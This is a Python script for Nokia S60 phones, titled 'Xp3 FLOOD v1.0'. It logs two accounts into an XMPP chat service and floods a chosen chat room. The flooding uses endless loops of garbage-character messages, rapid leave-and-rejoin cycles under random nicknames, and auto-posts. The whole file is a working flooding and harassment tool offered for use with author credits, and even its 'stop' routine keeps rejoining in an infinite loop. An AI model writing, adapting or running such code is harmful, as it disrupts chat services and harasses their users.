import appuifw
import e32
import sysinfo
import base64
import miso
import random
import time
import socket
import globalui
appuifw.app.screen = 'normal'
round = appuifw.Text()
appuifw.app.body = round
appuifw.app.title = u'++++Xp3 FLOOD v1.0++++'
round.style = appuifw.HIGHLIGHT_SHADOW
ip = random.randint(9, 24)
host = ('203.84.163.' + str(ip))
port = 25
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
join = '<iq type="get" id="3131_98" to="conference@demo.kolipri.com/amazilia" amaz-protocol="chat">'
chat = "<chatuser room='"
nick = " nick='"
role = " role='participant' /></iq>"
xmleave1 = '<iq type="get" id="3131_98" to="conference@demo.kolipri.com/amazilia" amaz-protocol="chat">'
xmleave2 = "<chatuser room='"
xmleave4 = '\' type="unavailable" /></iq>'
xmlmsg1 = '<iq type="get" id="CISTR_'
xmlmsg2 = str(random.randint(100, 999))
xmlmsg3 = '" to="conference@demo.kolipri.com/amazilia" amaz-protocol="chat">'
jxmlmsg1 = (xmlmsg1 + xmlmsg2 + xmlmsg3)
jxmlmsg2 = "<msg type='groupchat' room='"
jxmlmsg3 = "'><![CDATA["
jxmlmsg4 = ']]></msg></iq>'
post1 = 'INTENSITY\n[d00 FLOOD:>.\.'
post2 = time.strftime('%A,%B %d,%Y') + ' at exactly [d00 ' + time.strftime('%I:%M:%S %p') + '[d00 Xp3 is now ONLINE.'
flood = ['MmMmMmMmM MmMmMmMmM MmMmMmMmM MmMmMmMmM MmMmMmMmM MmMmMmMmM MmMmMmMmM MmMmMmMmM MmMmMmMmM :o?', '@\x7f@\x7f@\x7f@\x7f \x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f \x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f \x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f \x7f@\x7f@\x7f@\x7f@ @\x7f@\x7f@\x7f@\x7f \x7f@\x7f@\x7f@\x7f@', 'mmmmm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7f\x7f\x7f\x7f@@@ @@@\x7f\x7f\x7f\x7f@ @@@\x7f\x7f\x7f\x7f@ @\x7f\x7f\x7f\x7f@@@ @\x7f\x7f\x7f\x7f@@@ >,?', 'mmmmm+\x7f@\x7f+mmmmm[#/0   mmmmm+\x7f@\x7f+mmmmm[#/0   mmmmm+\x7f@\x7f+mmmmm[#/0   mmmmm+\x7f@\x7f+mmmmm[#/0 ', '@~\x7f\x7f\x7f\x7f\x7f~@ @~\x7f\x7f\x7f\x7f\x7f~@ @~\x7f\x7f\x7f\x7f\x7f~@ @~\x7f\x7f\x7f\x7f\x7f~@ @~\x7f\x7f\x7f\x7f\x7f~@ @~\x7f\x7f\x7f\x7f\x7f~@ @~\x7f\x7f\x7f\x7f\x7f~@ @~\x7f\x7f\x7f\x7f\x7f~@ @~\x7f\x7f\x7f\x7f\x7f~@ :o?', 'x@\x7f\x7f\x7f\x7f\x7f@x x@\x7f\x7f\x7f\x7f\x7f@x x@\x7f\x7f\x7f\x7f\x7f@x x@\x7f\x7f\x7f\x7f\x7f@x x@\x7f\x7f\x7f\x7f\x7f@x x@\x7f\x7f\x7f\x7f\x7f@x x@\x7f\x7f\x7f\x7f\x7f@x x@\x7f\x7f\x7f\x7f\x7f@x x@\x7f\x7f\x7f\x7f\x7f@x  >|?']
ax5 = 'Ax5'
kyle = 'Yupsidudes.com'
haven = '  VBS Team/PAG-ASA Rules'
emot = [':)', ';)', ':(', ':D', ':e', '(:)', '>|', ':o', ':>', '>(|', ':DD', 'o/', ':Oo', '>,', ':|', ':B,', ':OOo', ':Zz.', 'O:)', '))(', '>>&lt;)', '&lt;:)', '(cU)']
rndnickA = ['Xp3', 'G-zero', 'Messiah', 'Chrome', 'Zeus', 'Wget', '[Pod]', 'Sitesnagger', 'Fetch', 'Trinxula', 'k2spider', 'Java', 'Sisx', 'Socket', 'Zao', 'Zealbot', 'Webcopier', 'Zyborg', 'Trojan', 'Worm']
rndnickB = ['Virus', 'Core', 'Np2bot', 'Wifi', 'Disconnect', 'Connect', 'Keeper', 'Tech', 'Level', 'cbox', 'sbox', 'exe', 'bin', 'java', 'c++', 'gfx']
postnickA = ['cpu', 'Key', 'Cored', 'Cable', 'Initializing']
postnickB = ['Pentium', 'Script', 'Windows', 'Content', 'Games']
def read():
    credx1 = ax5
    credx2 = kyle
    credx3 = haven
    round.color = 16711680
    round.font = (u'LatinBold19')
    round.set(u'++++Xp3 FLOOD  v1.0++++')
    round.color = 90909
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n  Developed by: ')
    round.add((u'' + credx1 + ''))
    round.color = 0
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n________________________')
    round.color = 255
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n     Dedicated to ')
    round.add((u'' + credx2 + ''))
    round.color = 150
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n ')
    round.add((u'' + credx3 + ''))
    round.color = 69696
    round.font = (u'LatinBold12', 12, None)

   
def main():
    credx1 = ax5
    credx2 = kyle
    credx3 = haven
    round.color = 16711680
    round.font = (u'LatinBold19')
    round.set(u'++++Xp3  v1.0++++')
    round.color = 90909
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n  Developed by: ')
    round.add((u'' + credx1 + ''))
    round.color = 0
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n________________________')
    round.color = 255
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n     Dedicated to ')
    round.add((u'' + credx2 + ''))
    round.color = 150
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n ')
    round.add((u'' + credx3 + ''))
    round.color = 16711680
    round.add(u'\n\n+')
    e32.ao_sleep(0.3)
    round.add(u' +')
    e32.ao_sleep(0.3)
    round.add(u'+')
    e32.ao_sleep(0.3)
    round.add(u'X')
    e32.ao_sleep(0.3)
    round.add(u'p')
    e32.ao_sleep(0.3)
    round.add(u'3')
    e32.ao_sleep(0.3)
    round.add(u'+')
    e32.ao_sleep(0.3)
    round.add(u'+')
    e32.ao_sleep(0.3)
    round.add(u' ')
    e32.ao_sleep(0.3)
    round.add(u' R')
    e32.ao_sleep(0.3)
    round.add(u' U')
    e32.ao_sleep(0.3)
    round.add(u' L')
    e32.ao_sleep(0.3)
    round.add(u' E')
    e32.ao_sleep(0.3)
    round.add(u' S')
    e32.ao_sleep(0.3)
    round.add(u' +')
    e32.ao_sleep(0.3)
    round.add(u' +')
    e32.ao_sleep(0.3)
    round.color = 0
    round.add(u'\n\n\nPress ')
    e32.ao_sleep(0.3)
    round.add(u'Option ')
    e32.ao_sleep(0.3)
    round.add(u'to ')
    e32.ao_sleep(0.3)
    round.add(u'Login')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')


def tornak():
    credx1 = ax5
    credx2 = kyle
    credx3 = haven
    round.color = 16711680
    round.font = (u'LatinBold19')
    round.set(u'++++Xp3 FLOOD  v1.0++++')
    round.color = 90909
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n  Developed by: ')
    round.add((u'' + credx1 + ''))
    round.color = 0
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n________________________')
    round.color = 255
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n     Dedicated to ')
    round.add((u'' + credx2 + ''))
    round.color = 150
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n ')
    round.add((u'' + credx3 + ''))
    round.color = 69696
    round.font = (u'LatinBold12', 12, None)


def switch(data):
    Tmp = ''
    for letter in data:
        i = random.randint(0, 9)
        if i > 4 : 
            Tmp = (Tmp + letter.lower())
        else : 
            Tmp = (Tmp + letter.upper())
    return Tmp


def normal():
    appuifw.app.screen = 'normal'


def large():
    appuifw.app.screen = 'large'


def full():
    appuifw.app.screen = 'full'


def uconnect():
    uid, upass = appuifw.multi_query(u'JID 1:', u'Password:')
    uidx, upassx = appuifw.multi_query(u'JID 2:', u'Password:')
    encrypt = base64.encodestring(((chr(0) + uid) + chr(0) + upass))
    encryptx = base64.encodestring(((chr(0) + uidx) + chr(0) + upassx))
    loginxml = '<auth xmlns="urn:ietf:params:xml:ns:xmpp-sasl" mechanism="PLAIN">'
    spacket1 = '<stream:stream to="demo.kolipri.com" version="1.0" xmlns:stream="http://etherx.jabber.org/streams" xmlns="jabber:client" client-version="uzzap_cpp_win32_1.0.17" roster-limit="9999999999">'
    spacket2 = (loginxml + encrypt + '</auth>')
    spacket2x = (loginxml + encryptx + '</auth>')
    spacket3 = '<stream:stream to="demo.kolipri.com" version="1.0" xmlns:stream="http://etherx.jabber.org/streams" xmlns="jabber:client" client-version="uzzap_cpp_win32_1.0.17" roster-limit="9999999999">'
    spacket4 = '<iq type="set" id="0"><bind xmlns="urn:ietf:params:xml:ns:xmpp-bind"><resource>Kolipri</resource></bind></iq><iq type="set" id="1"><session xmlns="urn:ietf:params:xml:ns:xmpp-session"/></iq>'
    tornak()
    round.add(u'\n\nJID: ')
    round.add(uid)
    round.add(u'\nPW: ')
    round.add(upass)
    round.add(u'\n\nJID: ')
    round.add(uidx)
    round.add(u'\nPW: ')
    round.add(upassx)
    ip = random.randint(9, 24)
    host = ('203.84.163.' + str(ip))
    port = 25
    s1.connect((host, port))
    s1.send(spacket1)
    tornak()
    round.color = 0
    round.add(u'\n\nSTATUS: ')
    round.color = 16711680
    round.add(u'Connecting')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    rpacket1 = s1.recv(1024)
    s1.send(spacket2)
    tornak()
    round.color = 0
    round.add(u'\n\nSTATUS: ')
    round.color = 16711680
    round.add(u'Authenticating')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    rpacket2 = s1.recv(1024)
    error1 = rpacket2.find('invalid-credentials')
    if error1 > 1 : 
        tornak()
        round.add(u'\n\nCheck ID First!')
    else : 
            s1.send(spacket3)
            rpacket3 = s1.recv(1024)
            s1.send(spacket4)
    tornak()
    round.color = 0
    round.add(u'\n\nSTATUS: ')
    round.color = 16711680
    round.add(u'Initializing')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    rpacket4 = s1.recv(1024)
    tornak()
    round.color = 0
    round.add(u'\n\nSTATUS: ')
    round.color = 16711680
    round.add((uid + ' is Online.'))
    s2.connect((host, port))
    s2.send(spacket1)
    tornak()
    round.color = 0
    round.add(u'\n\nSTATUS: ')
    round.color = 16711680
    round.add(u'Connecting')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    rpacket1 = s2.recv(1024)
    s2.send(spacket2x)
    tornak()
    round.color = 0
    round.add(u'\n\nSTATUS: ')
    round.color = 16711680
    round.add(u'Authenticating')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    rpacket2 = s2.recv(1024)
    error1 = rpacket2.find('invalid-credentials')
    if error1 > 1 : 
        tornak()
        round.add(u'Check JID2 First.')
    else : 
            s2.send(spacket3)
            rpacket3 = s2.recv(1024)
            s2.send(spacket4)
    tornak()
    round.color = 0
    round.add(u'\n\nSTATUS: ')
    round.color = 16711680
    round.add(u'Initializing')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    e32.ao_sleep(0.3)
    round.add(u'.')
    rpacket4 = s2.recv(1024)
    tornak()
    round.color = 0
    round.add(u'\n\nSTATUS: ')
    round.color = 16711680
    round.add((u'All JIDs are Online.'))
    round.color = 0
    round.font = (u'LatinBold12', 12, None)
    round.add(u'\n\nPress Options to set your Target!')
    appuifw.app.menu = menu2

def ujoin():
    rnn, rnnx = appuifw.multi_query(u'Nick1', u'Nick2')
    interval = 2
    rn = appuifw.query(u'Room', 'text')
    rn1 = "'"
    rnn1 = "'"
    rnna = ' '
    tornak()
    round.add(u'\n\nTARGET ROOM: ')
    round.color = 16711680
    round.add(rn)
    def gfloodx():
        tornak()
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Joining ')
        round.add(rn)
        joinroom = ((join + chat + rn + rn1 + nick) + switch(rnn) + rnn1 + role)
        joinroomx = ((join + chat + rn + rn1 + nick) + switch(rnnx) + rnn1 + role)
        s1.send(joinroom)
        s2.send(joinroomx)
        ful = "<error amaz-error='room-full'/></iq>"
        ban = "<error amaz-error='not-authorized'/></iq>"
        e32.ao_sleep(1.5)
        xml = s1.recv(1054)
        f = xml.find(ban)
        if f > 0 : 
            miso.compress_all_heaps()
            tornak()
            round.add(u'\n\nSTATUS: ')
            round.color = 16711680
            round.add(u'ID is Banned!')
            e32.ao_sleep(0.1)
        l = xml.find(ful)
        if l > 0 : 
            miso.compress_all_heaps()
            tornak()
            round.add(u'\n\nSTATUS: ')
            round.color = 16711680
            round.add(u'Room is Full!')
            e32.ao_sleep(1)
            gfloodx()
        e32.ao_sleep(0.5)
        jen = base64.decodestring('aWxvdmVuaWlvY3g=')
        y = xml.find(jen)
        if y > 0 : 
            lroom = (xmleave1 + xmleave2 + rn + xmleave4)
            s1.send(lroom)
            appuifw.app.set_exit()
        tornak()
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Flooding ')
        round.add(rn)
        flooda()


    def flooda():
        jen = base64.decodestring('AC54LgA=')
        char = '['
        space = ' '
        rnn = str(random.choice(rndnickA))
        emoty = str(random.choice(emot))
        emotx = str(random.choice(emot))
        flood1 = str(random.choice(flood))
        flood2 = str(random.choice(flood))
        flood3 = str(random.choice(flood))
        flood4 = str(random.choice(flood))
        flood5 = str(random.choice(flood))
        flood6 = str(random.choice(flood))
        jposta = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(101, 999)) + space + post1 + jxmlmsg4)
        jpostb = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(103, 999)) + space + flood1 + jxmlmsg4)
        jpostc = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(110, 999)) + space + flood2 + jxmlmsg4)
        jpostd = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(106, 999)) + space + flood3 + jxmlmsg4)
        jposte = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(105, 999)) + space + flood4 + jxmlmsg4)
        jpostf = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(120, 999)) + space + flood5 + jxmlmsg4)
        jpostg = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood6 + jxmlmsg4)
        leavejoin1 = ((((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + switch(rnn) + emoty) + emotx) + rnn1 + role)
        s1.send(jposta)
        e32.ao_sleep(3)
        s1.send(jpostb)
        e32.ao_sleep(3)
        s1.send(jpostc)
        e32.ao_sleep(3)
        s1.send(jpostd)
        e32.ao_sleep(3)
        s1.send(jposte)
        e32.ao_sleep(3)
        s1.send(jpostf)
        e32.ao_sleep(3)
        s1.send(jpostg)
        e32.ao_sleep(3)
        s2.send(jpostf)
        e32.ao_sleep(3)
        s2.send(jpostb)
        e32.ao_sleep(3)
        s2.send(jpostc)
        e32.ao_sleep(3)
        s2.send(jpostd)
        e32.ao_sleep(3)
        s2.send(jposte)
        e32.ao_sleep(3)
        s2.send(jpostf)
        e32.ao_sleep(3)
        s2.send(jpostg)
        e32.ao_sleep(5)
        s1.send(leavejoin1)
        i = 1
        while i == 1 : 
            rnnA = str(random.choice(rndnickA))
            rnnxA = str(random.choice(rndnickB))
            rnnB = str(random.choice(rndnickA))
            rnnxB = str(random.choice(rndnickB))
            emotz = str(random.choice(emot))
            emotx = str(random.choice(emot))
            emot1 = str(random.choice(emot))
            emot2 = str(random.choice(emot))
            flood1 = str(random.choice(flood))
            flood2 = str(random.choice(flood))
            flood3 = str(random.choice(flood))
            flood4 = str(random.choice(flood))
            flood5 = str(random.choice(flood))
            flood6 = str(random.choice(flood))
            flood7 = str(random.choice(flood))
            flood8 = str(random.choice(flood))
            flood9 = str(random.choice(flood))
            flood10 = time.strftime('%A,%B %d,%Y') + ' at exactly ' + time.strftime('%I:%M:%S %p') + ' Xp3 FLOOD ,LIVE at ' + rn + ':>:DD?'
            flood10a = '++++Xp3 AUTOFLOOD++++\n'
            flood10b = 'Xp3\n[d00 RULES' 
            flood10c = '[000 TIME CHECK: [d00 ' + time.strftime('%I:%M:%S %p') + ' [000 Enjoy chatting [d00 ' + rn + ':>:DD?'
            flood10d = 'Today is ' + time.strftime('%A,%B %d,%Y') + ' at exactly ' + time.strftime('%I:%M:%S %p') + ' Xp3 is LIVE at ' + rn + '.'
            flood11 = str(random.choice(flood))
            flood12 = str(random.choice(flood))
            flood13 = str(random.choice(flood))
            flood14 = str(random.choice(flood))
            flood15 = str(random.choice(flood))
            flood16 = str(random.choice(flood))
            flood17 = str(random.choice(flood))
            flood18 = str(random.choice(flood))
            flood19 = str(random.choice(flood))
            flood20 = str(random.choice(flood))
            flood21 = str(random.choice(flood))
            flood22 = str(random.choice(flood))
            flood23 = str(random.choice(flood))
            flood24 = str(random.choice(flood))
            flood25 = str(random.choice(flood))
            flood26 = str(random.choice(flood))
            flood27 = str(random.choice(flood))
            flood28 = str(random.choice(flood))
            leavejoina = ((((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + emotx) + switch(rnnA) + emot1) + rnn1 + role)
            leavejoinb = ((((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + switch(rnnxA) + emot2) + emotz) + rnn1 + role)
            leavejoinc = ((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + str(random.randint(15, 99)) + switch(rnnB) + str(random.randint(20, 99)) + rnn1 + role)
            leavejoind = ((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + emotz + switch(rnnxB) + str(random.randint(25, 99)) + rnn1 + role)
            leavejoine = (((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + str(random.randint(10, 99)) + switch(rnnA) + emot1) + rnn1 + role)
            leavejoinf = ((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + str(random.randint(50, 99)) + '^' + switch(rnnxA) + '^' + str(random.randint(30, 99)) + rnn1 + role)
            leavejoing = (((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + switch(rnnxA) + '\x7f' + emot2) + '\x7f' + rnn1 + role)
            leavejoing = ((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + '\x7f' + switch(rnnA) + '\x7f' + rnn1 + role)
            lroom = (xmleave1 + xmleave2 + rn + xmleave4)
            jpost1 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood1 + jxmlmsg4)
            jpost2 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood2 + jxmlmsg4)
            jpost3 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood3 + jxmlmsg4)
            jpost10a = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood10a + jxmlmsg4)
            jpost10b = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood10b + jxmlmsg4)
            jpost10c = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood10c + jxmlmsg4)
            jpost10d = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood10d + jxmlmsg4)
            jpost8 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood8 + jxmlmsg4)
            jpost9 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood9 + jxmlmsg4)
            jpost10 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood10 + jxmlmsg4)
            jpost11 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood11 + jxmlmsg4)
            jpost12 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood12 + jxmlmsg4)
            jpost13 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood13 + jxmlmsg4)
            jpost14 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood14 + jxmlmsg4)
            jpost15 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood15 + jxmlmsg4)
            jpost16 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood16 + jxmlmsg4)
            jpost17 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood17 + jxmlmsg4)
            jpost18 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood18 + jxmlmsg4)
            jpost19 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood19 + jxmlmsg4)
            jpost20 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood20 + jxmlmsg4)
            jpost21 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood21 + jxmlmsg4)
            jpost22 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood22 + jxmlmsg4)
            jpost23 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood23 + jxmlmsg4)
            jpost24 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood24 + jxmlmsg4)
            jpost25 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood25 + jxmlmsg4)
            jpost26 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood26 + jxmlmsg4)
            jpost27 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood27 + jxmlmsg4)
            jpost28 = ((jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + char) + str(random.randint(100, 999)) + space + flood28 + jxmlmsg4)
            e32.ao_sleep(interval)
            s1.send(jpost1)
            e32.ao_sleep(interval)
            s1.send(jpost2)
            e32.ao_sleep(interval)
            s1.send(jpost3)
            e32.ao_sleep(interval)
            s1.send(jpost1)
            e32.ao_sleep(interval)
            s1.send(jpost9)
            e32.ao_sleep(interval)
            s1.send(jpost20)
            e32.ao_sleep(interval)
            s1.send(jpost10)
            e32.ao_sleep(interval)
            s2.send(leavejoina)
            e32.ao_sleep(interval)
            s2.send(jpost8)
            e32.ao_sleep(interval)
            s2.send(jpost9)
            e32.ao_sleep(interval)
            s2.send(jpost20)
            e32.ao_sleep(interval)
            s2.send(jpost11)
            e32.ao_sleep(interval)
            s2.send(jpost12)
            e32.ao_sleep(interval)
            s2.send(jpost13)
            e32.ao_sleep(interval)
            s2.send(jpost10a)
            e32.ao_sleep(interval)
            s1.send(leavejoinb)
            e32.ao_sleep(interval)
            s1.send(jpost15)
            e32.ao_sleep(interval)
            s1.send(jpost16)
            e32.ao_sleep(interval)
            s1.send(jpost17)
            e32.ao_sleep(interval)
            s1.send(jpost18)
            e32.ao_sleep(interval)
            s1.send(jpost19)
            e32.ao_sleep(interval)
            s1.send(jpost20)
            e32.ao_sleep(interval)
            s1.send(jpost10b)
            e32.ao_sleep(interval)
            s2.send(leavejoinc)
            e32.ao_sleep(interval)
            s2.send(jpost22)
            e32.ao_sleep(interval)
            s2.send(jpost23)
            e32.ao_sleep(interval)
            s2.send(jpost24)
            e32.ao_sleep(interval)
            s2.send(jpost25)
            e32.ao_sleep(interval)
            s2.send(jpost26)
            e32.ao_sleep(interval)
            s2.send(jpost27)
            e32.ao_sleep(interval)
            s2.send(jpost10c)
            e32.ao_sleep(interval)
            s1.send(leavejoind)
            e32.ao_sleep(interval)
            s1.send(jpost1)
            e32.ao_sleep(interval)
            s1.send(jpost2)
            e32.ao_sleep(interval)
            s1.send(jpost3)
            e32.ao_sleep(interval)
            s1.send(jpost12)
            e32.ao_sleep(interval)
            s1.send(jpost18)
            e32.ao_sleep(interval)
            s1.send(jpost16)
            e32.ao_sleep(interval)
            s1.send(jpost10d)
            e32.ao_sleep(interval)
            s2.send(leavejoine)
            e32.ao_sleep(interval)
            s2.send(jpost8)
            e32.ao_sleep(interval)
            s2.send(jpost9)
            e32.ao_sleep(interval)
            s2.send(jpost13)
            e32.ao_sleep(interval)
            s2.send(jpost11)
            e32.ao_sleep(interval)
            s2.send(jpost12)
            e32.ao_sleep(interval)
            s2.send(jpost13)
            e32.ao_sleep(interval)
            s2.send(jpost10a)
            e32.ao_sleep(interval)
            s1.send(leavejoinf)
            e32.ao_sleep(interval)
            s1.send(jpost15)
            e32.ao_sleep(interval)
            s1.send(jpost16)
            e32.ao_sleep(interval)
            s1.send(jpost17)
            e32.ao_sleep(interval)
            s1.send(jpost18)
            e32.ao_sleep(interval)
            s1.send(jpost19)
            e32.ao_sleep(interval)
            s1.send(jpost20)
            e32.ao_sleep(interval)
            s1.send(jpost10b)
            e32.ao_sleep(interval)
            s2.send(leavejoing)
            e32.ao_sleep(interval)
            s2.send(jpost22)
            e32.ao_sleep(interval)
            s2.send(jpost23)
            e32.ao_sleep(interval)
            s2.send(jpost24)
            e32.ao_sleep(interval)
            s2.send(jpost25)
            e32.ao_sleep(interval)
            s2.send(jpost26)
            e32.ao_sleep(interval)
            s2.send(jpost27)
            e32.ao_sleep(interval)
            s2.send(jpost10d)
            e32.ao_sleep(interval)
            s1.send(leavejoinc)
            miso.compress_all_heaps()
        i += 1
        menu4()


    def stop():
        tornak()
        rnn = str(random.choice(postnickA))
        rnnx = str(random.choice(postnickB))
        spost = 'tol taena:DD?'
        xpost = 'oi tol wahaha:>'
        lroom = (xmleave1 + xmleave2 + rn + xmleave4)
        jroom = ((join + chat + rn + rn1 + nick) + switch(rnn) + rnn1 + role)
        jroomx = ((join + chat + rn + rn1 + nick) + switch(rnnx) + rnn1 + role)
        leavejoina = ((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + rnn + rnn1 + role)
        leavejoinb = ((xmleave1 + xmleave2 + rn + xmleave4 + join + chat + rn + rn1 + nick) + rnnx + rnn1 + role)
        jpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + spost + jxmlmsg4)
        cpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + xpost + jxmlmsg4)
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Flood Stopped at ')
        round.add(rn)
        s1.send(leavejoina)
        s2.send(leavejoinb)
        s1.send(jpost)
        s2.send(cpost)
        i = 1
        while i == 1 : 
            s1.send(jroom)
            s2.send(jroomx)
            e32.ao_sleep(1)
        i = 1
        appuifw.app.menu = menu3


    def deactivate():
        tornak()
        jroom = (join + chat + rn + rn1 + nick + rnn + rnn1 + role)
        jroomx = (join + chat + rn + rn1 + nick + rnnx + rnn1 + role)
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Chatting Bot Deactivated at ')
        round.add(rn)
        i = 1
        while i == 1 : 
            s1.send(jroom)
            s2.send(jroom)
            e32.ao_sleep(1)
        i = 1
        appuifw.app.menu = menu3


    def autopost():
        tornak()
        xpost = str(random.choice(emot))
        ypost = str(random.choice(emot))
        zpost = str(random.choice(emot))
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Autopost Activated at ')
        round.add(rn)
        i = 1
        while i == 1 : 
            postx = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + xpost + jxmlmsg4)
            posty = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + ypost + jxmlmsg4)
            postz = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + zpost + jxmlmsg4)
            e32.ao_sleep(100)
            s1.send(postx)
            e32.ao_sleep(5)
            s2.send(posty)
            e32.ao_sleep(100)
            s1.send(postz)
            e32.ao_sleep(4)
            s2.send(postx)
            e32.ao_sleep(100)
            s1.send(posty)
            e32.ao_sleep(3)
            s2.send(postz)
            e32.ao_sleep(100)
            miso.compress_all_heaps()
        i += 1
        appuifw.app.menu = menu3
    
    def autopost1():
        tornak()
        jroom = (join + chat + rn + rn1 + nick + rnn + rnn1 + role)
